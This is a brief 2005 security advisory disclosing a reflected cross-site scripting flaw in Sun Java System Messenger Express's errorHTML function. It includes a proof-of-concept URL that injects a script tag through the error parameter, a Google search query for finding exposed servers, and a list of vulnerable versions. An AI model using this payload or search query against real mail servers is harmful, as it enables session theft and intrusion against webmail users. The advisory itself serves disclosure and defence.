Sun java System Messenger Express 
remote XSS vulnerabilities
By: Handrix 
29 November 2005
MorX security research team
www.morx.org 
Description:
Sun java System Messenger Express XSS


The index script  is vulnerable to XSS attacks, in function errorHTML .

function errorHTML() {
 var s=''; 
 .
 .
 .
 document.write(s) ---> Need more case filetring the 's' var
                 }



So, this issue can allow an attacker to bypass content filters and potentially carry out cross-site scripting, HTML injection and other attacks.
Exploit:
https://mail.victime.edu/?user=&error=%3Cscript%3Ealert('hakin9');%3C/script%3E

Googledork :
intitle: "Sun Java(tm) System Messenger Express"

Vulnerable versions :
Sun java System Messenger Express
Sun java System Messenger Express6